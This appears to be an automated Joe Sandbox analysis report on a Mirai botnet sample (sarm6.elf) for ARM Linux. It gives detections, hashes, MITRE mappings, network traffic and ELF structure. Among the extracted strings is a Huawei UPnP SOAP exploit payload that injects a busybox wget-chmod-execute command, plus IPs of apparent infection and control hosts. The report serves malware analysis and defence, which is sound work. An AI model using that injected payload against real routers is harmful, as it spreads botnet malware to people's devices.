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Linux Analysis Report
sarm6.elf

Overview

General Information

Sample name:	sarm6.elf
Analysis ID:	1496620
MD5:	9316e636358c415a87d50237e4d59b7d
SHA1:	f6d3661eeeee5207989753b0e8d72af8b98e292c
SHA256:	4dc770cde75461866d98ccc54f95df42d95aff6e02101bec3b74b8195eed9291
Infos:

Detection

Mirai

Score:	64
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Yara detected Mirai

Detected TCP or UDP traffic on non-standard ports

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1496620
Start date and time:	2024-08-21 15:22:14 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 26s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sarm6.elf
Detection:	MAL
Classification:	mal64.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: sarm6.elf

Runtime Messages

Command:	/tmp/sarm6.elf
PID:	5537
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

sarm6.elf (PID: 5537, Parent: 5461, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/sarm6.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sarm6.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5537.1.00007f41bc017000.00007f41bc025000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: sarm6.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: sarm6.elf

ReversingLabs: Detection: 65%

Source: global traffic	TCP traffic: 192.168.2.15:42742 -> 197.7.105.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:38260 -> 197.101.205.94:37215
Source: global traffic	TCP traffic: 192.168.2.15:39186 -> 141.98.10.95:9358

Source: unknown	TCP traffic detected without corresponding DNS query: 197.7.105.114
Source: unknown	TCP traffic detected without corresponding DNS query: 197.101.205.94
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: sarm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: sarm6.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/ki -r /hmips; /bin/busybox chmod 777 * /tmp/ki; /tmp/ki huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal64.troj.linELF@0/0@2/0

Source: /tmp/sarm6.elf (PID: 5537)

Queries kernel information via 'uname':

Jump to behavior

Source: sarm6.elf, 5537.1.0000563bbf69a000.0000563bbf7c8000.rw-.sdmp	Binary or memory string: ;V!/etc/qemu-binfmt/arm
Source: sarm6.elf, 5537.1.0000563bbf69a000.0000563bbf7c8000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: sarm6.elf, 5537.1.00007ffc81aff000.00007ffc81b20000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: sarm6.elf, 5537.1.00007ffc81aff000.00007ffc81b20000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Source: sarm6.elf, 5537.1.00007ffc81aff000.00007ffc81b20000.rw-.sdmp	Binary or memory string: <x86_64/usr/bin/qemu-arm/tmp/sarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sarm6.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: sarm6.elf, type: SAMPLE
Source: Yara match	File source: 5537.1.00007f41bc017000.00007f41bc025000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: sarm6.elf, type: SAMPLE
Source: Yara match	File source: 5537.1.00007f41bc017000.00007f41bc025000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
sarm6.elf	66%	ReversingLabs	Linux.Trojan.Mirai
sarm6.elf	100%	Avira	EXP/ELF.Mirai.Hua.c

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	sarm6.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	sarm6.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
197.101.205.94	unknown	South Africa	3741	ISZA	false
141.98.10.95	unknown	Lithuania	209605	HOSTBALTICLT	false
197.7.105.114	unknown	Tunisia	5438	ATI-TN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
141.98.10.95	1316wjL1Ep.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	i3LQkjkqOB.elf	Get hash	malicious	Gafgyt, Mirai	Browse	162.213.35.25
	x86.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	arm7.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	bot.arm.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.24
	bot.arm6.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	bot.x86_64.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	bot.sh4.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.24
	bot.ppc.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	bot.mpsl.elf	Get hash	malicious	Mirai, Okiru	Browse	162.213.35.25
	KKveTTgaAAsecNNaaaa.arc.elf	Get hash	malicious	Unknown	Browse	162.213.35.25

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HOSTBALTICLT	TRIAL IMG_00O0125RDER.exe	Get hash	malicious	FormBook, GuLoader	Browse	141.98.10.120
	1316wjL1Ep.elf	Get hash	malicious	Unknown	Browse	141.98.10.95
	17213054441f2891f24374c97759e4ac14183d6cfaeabe4240dc8794e61fa899b9e40b62fb429.dat-decoded.exe	Get hash	malicious	Remcos	Browse	141.98.10.11
	Demand G2-2024.xlsx	Get hash	malicious	FormBook	Browse	141.98.10.47
	171232524570452cfc1123de8b7cabf91834cbebe0e4fd1dae96e0b4418fab427bf67de7f5439.dat-decoded.exe	Get hash	malicious	RisePro Stealer	Browse	141.98.10.48
	1712325246bbbf6f1de2af242e599680d3f96095835a7a7584ff1f1f967e4c2d3f319cbbe6606.dat-decoded.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	141.98.10.48
	171232524570452cfc1123de8b7cabf91834cbebe0e4fd1dae96e0b4418fab427bf67de7f5439.dat-decoded.exe	Get hash	malicious	RisePro Stealer	Browse	141.98.10.48
	17123252454cee8f5bbeea28bef775c962baa7b486704978d6564a4b4c25e4f526d316c953208.dat-decoded.exe	Get hash	malicious	PrivateLoader, RisePro Stealer	Browse	141.98.10.48
	ZrSuP005Ar.elf	Get hash	malicious	Mirai	Browse	141.98.10.128
	YemL7F22tJ.elf	Get hash	malicious	Okiru	Browse	141.98.10.128
ATI-TN	KKveTTgaAAsecNNaaaa.arm.elf	Get hash	malicious	Unknown	Browse	102.31.134.9
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	197.10.162.16
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	197.10.37.115
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	197.11.215.201
	xd.arm.elf	Get hash	malicious	Mirai	Browse	196.186.92.70
	b3astmode.arm7.elf	Get hash	malicious	Mirai	Browse	197.4.200.57
	sora.arm.elf	Get hash	malicious	Mirai	Browse	102.154.228.114
	46.19.143.29-mips-2024-08-10T05_33_17.elf	Get hash	malicious	Unknown	Browse	197.5.249.158
	arm7-20240807-1021.elf	Get hash	malicious	Mirai	Browse	102.26.45.138
	154.216.17.9-skid.ppc-2024-08-04T06_22_51.elf	Get hash	malicious	Mirai, Moobot	Browse	197.5.249.131
ISZA	KKveTTgaAAsecNNaaaa.spc.elf	Get hash	malicious	Unknown	Browse	196.38.64.51
	KKveTTgaAAsecNNaaaa.mpsl.elf	Get hash	malicious	Unknown	Browse	197.100.120.114
	KKveTTgaAAsecNNaaaa.mips.elf	Get hash	malicious	Unknown	Browse	160.123.171.11
	154.216.18.223-mips-2024-08-17T03_44_00.elf	Get hash	malicious	Mirai	Browse	156.8.144.132
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	156.8.64.233
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	197.102.171.129
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	197.96.148.51
	arm6-20240814-0111.elf	Get hash	malicious	Mirai	Browse	197.102.58.17
	hoho.arm.elf	Get hash	malicious	Mirai	Browse	196.212.105.166
	mpsl.elf	Get hash	malicious	Mirai	Browse	196.38.40.34

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.007722929193623
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sarm6.elf
File size:	58'752 bytes
MD5:	9316e636358c415a87d50237e4d59b7d
SHA1:	f6d3661eeeee5207989753b0e8d72af8b98e292c
SHA256:	4dc770cde75461866d98ccc54f95df42d95aff6e02101bec3b74b8195eed9291
SHA512:	e22a3c6dd33225fd12f2ff7911101823e73e7aad86e93a30bf7301dbfeb8ce1a8d853386d9b142e43ad758719f23357f14086065fd5b3969660f5f152dc17eae
SSDEEP:	1536:NsnSFrZczxXgP45v6M5cQnMxi3BxSJYWR:l1czNU4l66BxSJYm
TLSH:	9543FA46BC918B06C5D4127AFE1E118E33172778E3DF73139E216F24678A96B0E3B916
File Content Preview:	.ELF..............(.....T...4...........4. ...(.....................................................,...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.,.............-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	58272
Section Header Size:	40
Number of Section Headers:	12
Header String Table Index:	11

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xd4c8	0x0	0x6	AX	16
.fini	PROGBITS	0x15578	0xd578	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x15588	0xd588	0x884	0x0	0x2	A	4
.init_array	INIT_ARRAY	0x1e004	0xe008	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x1e008	0xe00c	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x1e010	0xe014	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x1e084	0xe088	0x2a8	0x0	0x3	WA	4
.bss	NOBITS	0x1e32c	0xe330	0x5360	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0xe330	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xe340	0x5d	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0xde0c	0xde0c	6.0649	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0xe004	0x1e004	0x1e000	0x32c	0xd688	3.9204	0x6	RW	0x8000	.init_array .fini_array .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 15:22:57.815148115 CEST	37215	42742	197.7.105.114	192.168.2.15
Aug 21, 2024 15:22:57.815170050 CEST	37215	38260	197.101.205.94	192.168.2.15
Aug 21, 2024 15:22:57.815299988 CEST	42742	37215	192.168.2.15	197.7.105.114
Aug 21, 2024 15:22:57.815300941 CEST	38260	37215	192.168.2.15	197.101.205.94
Aug 21, 2024 15:23:29.702883005 CEST	9358	39186	141.98.10.95	192.168.2.15
Aug 21, 2024 15:23:29.703387976 CEST	39186	9358	192.168.2.15	141.98.10.95

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 21, 2024 15:22:59.571520090 CEST	49749	53	192.168.2.15	1.1.1.1
Aug 21, 2024 15:22:59.571569920 CEST	50176	53	192.168.2.15	1.1.1.1
Aug 21, 2024 15:22:59.579698086 CEST	53	50176	1.1.1.1	192.168.2.15
Aug 21, 2024 15:22:59.581002951 CEST	53	49749	1.1.1.1	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 21, 2024 15:22:59.571520090 CEST	192.168.2.15	1.1.1.1	0x6cbd	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Aug 21, 2024 15:22:59.571569920 CEST	192.168.2.15	1.1.1.1	0xb5de	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 21, 2024 15:22:59.581002951 CEST	1.1.1.1	192.168.2.15	0x6cbd	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Aug 21, 2024 15:22:59.581002951 CEST	1.1.1.1	192.168.2.15	0x6cbd	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: sarm6.elf PID: 5537, Parent PID: 5461

General

Start time (UTC):	13:22:57
Start date (UTC):	21/08/2024
Path:	/tmp/sarm6.elf
Arguments:	/tmp/sarm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sarm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: sarm6.elf PID: 5537, Parent PID: 5461

General

Chronological Activities

Linux Analysis Report
sarm6.elf